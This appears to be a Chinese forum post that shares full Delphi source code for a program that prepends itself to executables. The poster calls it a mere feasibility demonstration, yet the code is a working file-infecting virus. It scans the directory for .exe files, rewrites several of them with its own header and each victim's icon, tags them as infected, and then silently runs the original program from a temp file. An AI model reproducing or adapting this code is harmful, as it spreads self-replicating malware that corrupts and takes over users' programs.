我的程序也是给exe加一个文件头，只是论证一下可行性，离病毒那可差的远了:)

Code here:

//headerprj.dpr

program headerprj;

uses

 Windows,Classes,SysUtils,Graphics,ShellAPI;

const

 HEADERSIZE=78336;

 ICONOFFSET=$11EB8;

 INFECTFLAG='Infected By SOJ';

 ID=$66666666;

{$R *.RES}

var

 tmpFile:string;

 si:STARTUPINFO;

 pi:PROCESS_INFORMATION;

 sr:TSearchRec;

 Counter:Integer;

//routines

procedure CopyStream(Src:TStream;sStartPos:Integer;

 Dst:TStream;dStartPos:Integer;Count:Integer);

var

 sCurPos,dCurPos:Integer;

begin

 sCurPos:=Src.Position;

 dCurPos:=Dst.Position;

 src.Seek(sStartPos,0);

 dst.Seek(dStartPos,0);

 dst.CopyFrom(src,Count);

 src.Seek(sCurPos,0);

 dst.Seek(dCurPos,0);

end;{CopyStream}

function Getmyname:string;

var

       cmdline:String;

 myname:Array [0..255] of Char;

       i,j:integer;

begin

 i:=1;j:=0;

 cmdline:=GetCommandLine;

 while cmdline[i]<>chr(0) do

 begin

         if cmdline[i]<>'"' then

   begin

           myname[j]:=cmdline[i];

     inc(j);

   end;

   inc(i);

 end;

 myname[j-1]:=chr(0);

 Result:=strpas(@myname);

end;{Getmyname}

function GetTempFullName:String;

var

 tmpPath:Array[1..256]of Char;

 tmpname:Array[1..256]of Char;

begin

 GetTempPath(256,@tmpPath);

 GetTempFileName(@tmpPath,'PQR',0,@tmpName);

 Result:=StrPas(@tmpName);

end;{GetTempFullName}

procedure ExtractFile(filename:string);

var

 sStream,dStream:TFileStream;

begin

 sStream:=TFileStream.Create(Getmyname,fmOpenRead or fmShareDenyNone);

 dStream:=TFileStream.Create(filename,fmCreate);

 sStream.Seek(HEADERSIZE,0);

 dStream.CopyFrom(sStream,sStream.Size-HEADERSIZE);

 sStream.Free;

 dStream.Free;

end;

procedure fillstartupinfo(var si:STARTUPINFO;state:WORD);

begin

       si.cb := sizeof(si);

       si.lpReserved := nil;

       si.lpDesktop := nil;

       si.lpTitle := nil;

       si.dwFlags := STARTF_USESHOWWINDOW;

       si.wShowWindow := state;

       si.cbReserved2 := 0;

       si.lpReserved2 := nil;

end;

function InfectFile(Filename:TFilename):Boolean;

var

 hdrStream,srcStream:TFileStream;

 icoStream,dstStream:TMemoryStream;

 iID:Longint;

 aIcon:TIcon;

begin

 try

 if Filename='headerprj.exe' then exit;

 srcStream:=TFileStream.Create(Filename,fmOpenRead);

 srcStream.Seek(-4,2);

 srcStream.Read(iID,4);

 if (iID=ID) or (srcStream.Size >1000000)then

 begin

   srcStream.Free;

   Result:=False;

   exit; //如果感染过了则退出

 end;

 srcStream.Free;

 try

 icoStream:=TMemoryStream.Create;

 aIcon:=TIcon.Create;

 aIcon.ReleaseHandle;

 aIcon.Handle:=ExtractIcon(Hinstance,PChar(Filename),0);//被感染文件的图标

 aIcon.SaveToStream(icoStream);

 aIcon.Free;

 srcStream:=TFileStream.Create(FileName,fmOpenRead);

 hdrStream:=TFileStream.Create(GetMyName,fmOpenRead or fmShareDenyNone);//头文件

 dstStream:=TMemoryStream.Create;

 CopyStream(hdrStream,0,dstStream,0,HEADERSIZE);

 CopyStream(icoStream,22,dstStream,ICONOFFSET,$2e8);

 CopyStream(srcStream,0,dstStream,HEADERSIZE,srcStream.Size);

 dstStream.Seek(0,2);

 iID:=$66666666;

 dstStream.Write(iID,4);

 finally

 icoStream.Free;

 srcStream.Free;

 hdrStream.Free;

 dstStream.SaveToFile(Filename);

 dstStream.Free;

 Result:=True;

 end;

 except;

 end;

end;

//主程序开始

begin

 Counter:=2;

 if FindFirst('*.exe',faAnyFile,sr)=0 then

 begin

   InfectFile(sr.Name);

   while (FindNext(sr)=0) and (Counter>0) do

   begin

     if InfectFile(sr.Name) then Dec(Counter);

   end;

 end;

 FindClose(sr);

 if ExtractFileName(Getmyname)='headerprj.exe' then exit;

 tmpFile:=GetTempFullname;

 ExtractFile(tmpFile);

 fillstartupinfo(si,SW_SHOWDEFAULT);

 CreateProcess(PChar(tmpFile),PChar(tmpFile),nil,nil,True,0,nil,'.',si,pi);

end.

ps:文件名一定要叫headerprj.exe否则会有问题，看看代码就知道了